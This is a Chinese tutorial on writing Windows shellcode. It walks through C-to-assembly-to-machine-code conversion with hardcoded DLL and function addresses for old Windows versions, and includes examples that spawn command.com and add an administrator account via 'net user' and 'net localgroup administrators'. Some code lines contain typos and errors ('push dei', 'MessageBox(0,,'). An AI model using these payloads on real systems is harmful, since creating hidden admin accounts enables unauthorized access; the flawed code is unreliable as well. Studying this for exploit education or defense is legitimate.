一、初識ShellCode
1. ShellCode理解
指一組計算機能直接執行(不需要點擊和編譯),實現我們想要功能的機器代碼,通常以十六進制數組的形式存在。
2. 簡單例子--編寫控制台窗口的ShellCode
打開控制台窗口的C程序如下:
#include <windows.h>
int main()
{
LoadLibrary(“msvcrt.dll”); //調用msvcrt.dll動態鏈接庫
system(“command.com”); //使用system函數,執行彈窗命令
return 0;
}
修改后的版本:
#include <windows.h>
#include <winbase.h>
typedef void (*MYPROC) (LPTSTR); //定義一個函數指針,指向函數的參數是字符串,返回值是空
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary(“msvcrt.dll”); //加載msvcrt.dll 這個動態鏈接庫,句柄賦給LibHandle
ProcAdd = (MYPROC) GetProcAddress (LibHandle, “system”); //獲得system的真實地址,之后再使用這個真實地址來調用system函數,ProcAdd存的是system函數的地址
(ProcAdd) (“command.com”); //調用 system(“ command,com”),實現功能
return 0;
}
win7 sp1系統msvcrt.dll的地址為:0x770C0000
win7 sp1系統system函數的地址為:0x7711816F
說明:VC 調試:Fn+F10 進入調試狀態,Debug工具欄中,按鈕 “Disassemble” 查看匯編代碼,按鈕“Registers” 查看寄存器狀態。Step Over(F10)進入單步向下執行。當某條指令執行完后,寄存器窗口的各個寄存器值會發生變化。函數的返回值會放在EAX寄存器,因此查看EAX寄存器的值即為msvcrt.dll的地址。
3. windows下的函數調用原理
在windows下,函數的調用需要先把函數所在的動態鏈接庫加載進去,在執行的時候用堆棧傳遞參數,然后直接call該函數的地址就完成了。如,windows下執行函數Func(argv1, argv2, argv3)過程:
4. 匯編和機器碼——真正ShellCode的生成
生成ShellCode的過程:先寫出C程序,將其改為匯編程序,再找出匯編程序對應的機器碼,拼接起來即為ShellCode。
system(“command.exe”) 的匯編代碼如下:
mov esp, ebp;
push ebp;
mov ebp,esp; //把當前esp賦給ebp
xor edi,edi;
push dei; // 壓入0, esp-4; 作用是構造字符串的結尾\0字符。
sub esp,08h; //加上上面,一共有12個字節;用來放"command.com"。
mov byte ptr [ebp-0ch],63h; // c
mov byte ptr [ebp-0bh],6fh; // o
mov byte ptr [ebp-0ah],6dh; // m
mov byte ptr [ebp-09h],6Dh; // m
mov byte ptr [ebp-08h],61h; // a
mov byte ptr [ebp-07h],6eh; // n
mov byte ptr [ebp-06h],64h; // d
mov byte ptr [ebp-05h],2Eh; // .
mov byte ptr [ebp-04h],63h; // c
mov byte ptr [ebp-03h],6fh; // o
mov byte ptr [ebp-02h],6dh; // m , 一個一個生成串"command.com".
lea eax, [ebp-0ch];
push eax; // “command.com”字符串地址作為參數入棧
mov eax, 0x7711816F;
call eax; // call system函數的地址
二、ShellCode通用性的初步分析
1. 上述代碼的不足
之前ShellCode的缺點:
(1)功能不實用:實際的ShellCode一般都是開個端口讓人遠程登錄,或者下載文件執行等;
(2)不通用:用了固定的函數地址,當系統不同時函數的地址會不同
2. 通用性的初步探索
在每種系統中找出任意想要的動態鏈接庫和函數的地址,C代碼如下:
#include <windows.h>
#include <stdio.h>
typedef void (*MYPROC)(LPTSTR):
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary("msvcrt.dll");
printf("msvcrt LibHandle = 0x%x\n", LibHandle);
ProcAdd = (MYPROC) GetProcAddress(LibHandle, "system");
printf("system = 0x%x\n", ProcAdd);
return 0;
}
由下圖可看出win7 sp1系統中msvcrt.dll鏈接庫地址為:0x770c0000,system函數地址為:0x7711b16f ;
注:系統中沒有LoadLibray這個函數的,只有LoadLibraryA和LoadLibraryW這兩個函數,在ASCII參數時系統會用LoadLibraryA,在Unicode參數時會用LoadLibraryW。LoadLibrary函數屬於kernel32.dll,因此可找到winxp sp3系統中kernel32.dll鏈接庫的地址為:0x7c800000,LoadLibrary函數的地址為:0x7c801d7b。
3. 彈出windows對話框ShellCode的編寫
windows系統彈出對話框的C代碼如下:
#include <windows.h>
int main(int argc, char* argv[])
{
LoadLibrary("user32.dll");
MessageBox(0,,"hello_manu","manu",1); //彈出windows對話框,對話框標題為“manu”,里面的內容為“hello_manu”
return 0;
}
注:MessageBox函數:第一個參數表明對話框所屬的窗口句柄。如果第一個參數為NULL(即0),那么對話框不屬於任何窗口。最后一個參數,是表明對話框的類型。0代表MB_OK,即只有一個‘OK’按鈕;1代表MB_OKCANCEL,對話框會有‘OK’和‘Cancel’兩個按鈕。
4. 添加用戶ShellCode的編寫
windows中添加用戶方法:
(1)在控制面板里的“用戶帳號”中添加
(2)在DOS命令行下執行 net user name /add ,要把一個帳戶添加到管理員,則要在DOS命令行下執行 net localgroup administrators name /add 。
添加一個名為“c”的管理員的C程序代碼如下:
#include <windows.h>
int main()
{
LoadLibray(“msvcrt.dll”);
system(“net user c /add”);
system(“net localgroup administrators c /add”);
return 0;
}
把上面的程序改成匯編:system(“net user c /add”) 按照windows系統執行函數的原理先參數入棧,再call system函數的地址。這里的參數是“net user c /add”字符串的地址,所以先在棧中構造出“net user c /add”。
三、知識點匯總
-
在windows系統下,多字節數存放的規則是:數的高位放在內存高址,數的低位放在內存低址。對0x77E6A25478來說,0x77是最高位,所以要放在內存的高地址,而在字符串中,是按照內存從低到高排列的,所以要把0x77放在字符串中數的最后。
-
LoadLibraryA和system函數的地址在win2000 sp0下,分別是0x77E78023和0x7801AAAD;在sp2下分別是0x77E6A254和0x78019B4A;在sp3下分別是0x77E69F64和0x7801AFC3;在xp sp0下分別是0x77E605D8和0x77BF8044。
-
windows下,存在幾種編程接口:
(1)一種是windows API函數。這類函數是和windows系統相關的,使用的也是windows下才特有的數據類型(比如char)。API函數就存在A和W這兩種實現,而LoadLibrary是API函數。
(2)一種是C運行鏈接庫,是按照C語言的標准來實現的,所以只有小寫字母,而且只有一種實現,比如system函數。 -
區分API函數和C運行庫函數
從函數的命名可以看:API函數遵循的是windows自己定義的命名規范,是大小寫混寫的函數,例如LoadLibrary;C語言標准中,規定函數名稱都是小寫,所以C運行庫函數也遵循全是小寫的規范,如system。 -
ShellCode里面不能有0x00,因為0x00是字符串的結束符,如果ShellCode中存在,就會被截斷。
四、總結
本章講解了Windows系統下的ShellCode編寫方法,主要思路是先用C代碼實現ShellCode的功能(如彈窗,添加用戶等),然后改為匯編代碼,再進行編譯,找出匯編對應的機器碼,將機器碼拼接起來即為ShellCode。它是一組以十六進制形式表示的數組。另外windows下函數的調用一般使用動態鏈接庫的形式,即先加載函數所在的動態鏈接庫,然后再調用函數。其中,LoadLibrary函數屬於"kernel32.dll"動態庫,MessageBox函數屬於"user32.dll"動態庫,system函數屬於"msvcrt.dll"動態庫。
下一章將進行"后門的編寫和ShellCode的提權"等的學習,希望再接再厲!